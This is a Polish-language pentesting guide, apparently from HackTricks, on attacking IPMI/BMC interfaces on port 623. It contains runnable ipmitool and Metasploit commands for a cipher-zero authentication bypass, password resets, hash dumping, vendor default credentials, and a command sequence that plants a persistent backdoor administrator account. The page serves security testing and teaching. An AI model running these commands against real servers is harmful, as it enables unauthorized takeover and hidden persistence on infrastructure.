8.8 KiB

623/UDP/TCP - IPMI

623/UDP/TCP - IPMI

{{#include ../banners/hacktricks-training.md}}

Zgłębiaj swoją wiedzę w zakresie Mobile Security z 8kSec Academy. Opanuj bezpieczeństwo iOS i Androida dzięki naszym kursom w trybie samodzielnym i uzyskaj certyfikat:

{% embed url="https://academy.8ksec.io/" %}

Podstawowe informacje

Przegląd IPMI

Intelligent Platform Management Interface (IPMI) oferuje ustandaryzowane podejście do zdalnego zarządzania i monitorowania systemów komputerowych, niezależnie od systemu operacyjnego czy stanu zasilania. Technologia ta pozwala administratorom systemów na zdalne zarządzanie systemami, nawet gdy są wyłączone lub nieodpowiadające, i jest szczególnie przydatna w przypadku:

  • Konfiguracji przed uruchomieniem systemu operacyjnego
  • Zarządzania zasilaniem
  • Odzyskiwania po awariach systemu

IPMI jest w stanie monitorować temperatury, napięcia, prędkości wentylatorów i zasilacze, a także dostarczać informacje o inwentarzu, przeglądać logi sprzętowe i wysyłać powiadomienia za pomocą SNMP. Do jego działania niezbędne są źródło zasilania i połączenie LAN.

Od momentu wprowadzenia przez Intela w 1998 roku, IPMI było wspierane przez wielu dostawców, co zwiększyło możliwości zdalnego zarządzania, szczególnie dzięki wsparciu wersji 2.0 dla komunikacji szeregowej przez LAN. Kluczowe komponenty to:

  • Baseboard Management Controller (BMC): Główny mikro-kontroler do operacji IPMI.
  • Szyny komunikacyjne i interfejsy: Do komunikacji wewnętrznej i zewnętrznej, w tym ICMB, IPMB oraz różne interfejsy do lokalnych i sieciowych połączeń.
  • Pamięć IPMI: Do przechowywania logów i danych.

https://blog.rapid7.com/content/images/post-images/27966/IPMI-Block-Diagram.png#img-half-right

Domyślny port: 623/UDP/TCP (Zazwyczaj działa na UDP, ale może również działać na TCP)

Enumeracja

Odkrywanie

nmap -n -p 623 10.0.0./24
nmap -n-sU -p 623 10.0.0./24
use  auxiliary/scanner/ipmi/ipmi_version

Możesz zidentyfikować wersję używając:

use auxiliary/scanner/ipmi/ipmi_version
nmap -sU --script ipmi-version -p 623 10.10.10.10

IPMI Vulnerabilities

W obszarze IPMI 2.0, istotna luka w zabezpieczeniach została odkryta przez Dana Farmera, ujawniając podatność poprzez cipher type 0. Ta podatność, szczegółowo udokumentowana w badaniach Dana Farmera, umożliwia nieautoryzowany dostęp przy użyciu dowolnego hasła, pod warunkiem, że celem jest ważny użytkownik. Ta słabość została znaleziona w różnych BMC od producentów takich jak HP, Dell i Supermicro, co sugeruje powszechny problem we wszystkich implementacjach IPMI 2.0.

IPMI Authentication Bypass via Cipher 0

Aby wykryć tę lukę, można wykorzystać następujący skaner pomocniczy Metasploit:

use auxiliary/scanner/ipmi/ipmi_cipher_zero

Wykorzystanie tej luki jest możliwe za pomocą ipmitool, jak pokazano poniżej, co pozwala na wyświetlenie i modyfikację haseł użytkowników:

apt-get install ipmitool # Installation command
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user list # Lists users
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user set password 2 abc123 # Changes password

IPMI 2.0 RAKP Uwierzytelnianie Zdalne Pobieranie Hasła Hashowanego

Ta luka umożliwia pobranie haszowanych haseł z solą (MD5 i SHA1) dla dowolnej istniejącej nazwy użytkownika. Aby przetestować tę lukę, Metasploit oferuje moduł:

msf > use auxiliary/scanner/ipmi/ipmi_dumphashes

IPMI Anonymous Authentication

Domyślna konfiguracja w wielu BMC umożliwia dostęp "anonimowy", charakteryzujący się pustymi ciągami nazwy użytkownika i hasła. Ta konfiguracja może być wykorzystana do resetowania haseł kont użytkowników za pomocą ipmitool:

ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user list
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user set password 2 newpassword

Supermicro IPMI Hasła w czystym tekście

Krytyczny wybór projektowy w IPMI 2.0 wymaga przechowywania haseł w czystym tekście w BMC w celach uwierzytelniania. Przechowywanie tych haseł przez Supermicro w lokalizacjach takich jak /nv/PSBlock lub /nv/PSStore budzi poważne obawy dotyczące bezpieczeństwa:

cat /nv/PSBlock

Wrażliwość Supermicro IPMI UPnP

Włączenie przez Supermicro nasłuchiwacza UPnP SSDP w swoim oprogramowaniu IPMI, szczególnie na porcie UDP 1900, wprowadza poważne ryzyko bezpieczeństwa. Wrażliwości w Intel SDK dla urządzeń UPnP w wersji 1.3.1, szczegółowo opisane w ujawnieniu Rapid7, umożliwiają dostęp root do BMC:

msf> use exploit/multi/upnp/libupnp_ssdp_overflow

Brute Force

HP losuje domyślne hasło dla swojego produktu Integrated Lights Out (iLO) podczas produkcji. Ta praktyka różni się od innych producentów, którzy zazwyczaj używają statycznych domyślnych poświadczeń. Podsumowanie domyślnych nazw użytkowników i haseł dla różnych produktów przedstawia się następująco:

  • HP Integrated Lights Out (iLO) używa fabrycznie losowego 8-znakowego ciągu jako domyślnego hasła, co pokazuje wyższy poziom bezpieczeństwa.
  • Produkty takie jak iDRAC firmy Dell, IMM firmy IBM i Zintegrowany Kontroler Zdalnego Zarządzania Fujitsu używają łatwych do odgadnięcia haseł, takich jak "calvin", "PASSW0RD" (z zerem) i "admin" odpowiednio.
  • Podobnie, Supermicro IPMI (2.0), Oracle/Sun ILOM i ASUS iKVM BMC również używają prostych domyślnych poświadczeń, z "ADMIN", "changeme" i "admin" jako ich hasłami.

Accessing the Host via BMC

Dostęp administracyjny do Kontrolera Zarządzania Płytą Główną (BMC) otwiera różne ścieżki do uzyskania dostępu do systemu operacyjnego hosta. Proste podejście polega na wykorzystaniu funkcji KVM (Keyboard, Video, Mouse) BMC. Można to zrobić, rebootując hosta do powłoki root za pomocą GRUB (używając init=/bin/sh) lub bootując z wirtualnego CD-ROM ustawionego jako dysk ratunkowy. Takie metody pozwalają na bezpośrednią manipulację dyskiem hosta, w tym wstawianie backdoorów, ekstrakcję danych lub wszelkie niezbędne działania w celu oceny bezpieczeństwa. Jednak wymaga to rebootowania hosta, co jest istotną wadą. Bez rebootowania, dostęp do działającego hosta jest bardziej skomplikowany i różni się w zależności od konfiguracji hosta. Jeśli fizyczna lub szeregowa konsola hosta pozostaje zalogowana, można ją łatwo przejąć za pomocą funkcji KVM lub serial-over-LAN (sol) BMC przez ipmitool. Badanie wykorzystania wspólnych zasobów sprzętowych, takich jak magistrala i2c i chip Super I/O, to obszar, który wymaga dalszego zbadania.

Introducing Backdoors into BMC from the Host

Po skompromitowaniu hosta wyposażonego w BMC, lokalny interfejs BMC może być wykorzystany do wprowadzenia konta użytkownika backdoor, tworząc trwałą obecność na serwerze. Atak ten wymaga obecności ipmitool na skompromitowanym hoście oraz aktywacji wsparcia dla sterownika BMC. Poniższe polecenia ilustrują, jak nowe konto użytkownika może być wstrzyknięte do BMC za pomocą lokalnego interfejsu hosta, co omija potrzebę uwierzytelnienia. Technika ta jest stosowana w szerokim zakresie systemów operacyjnych, w tym Linux, Windows, BSD, a nawet DOS.

ipmitool user list
ID  Name        Callin  Link Auth    IPMI Msg  Channel Priv Limit
2  ADMIN            true    false      false      Unknown (0x00)
3  root            true    false      false      Unknown (0x00)

ipmitool user set name 4 backdoor
ipmitool user set password 4 backdoor
ipmitool user priv 4 4
ipmitool user list
ID  Name        Callin  Link Auth    IPMI Msg  Channel Priv Limit
2  ADMIN            true    false      false      Unknown (0x00)
3  root            true    false      false      Unknown (0x00)
4  backdoor        true    false      true      ADMINISTRATOR

Shodan

  • port:623

References

Zgłębiaj swoją wiedzę w zakresie Mobile Security z 8kSec Academy. Opanuj bezpieczeństwo iOS i Androida dzięki naszym kursom w trybie samodzielnym i uzyskaj certyfikat:

{% embed url="https://academy.8ksec.io/" %}

{{#include ../banners/hacktricks-training.md}}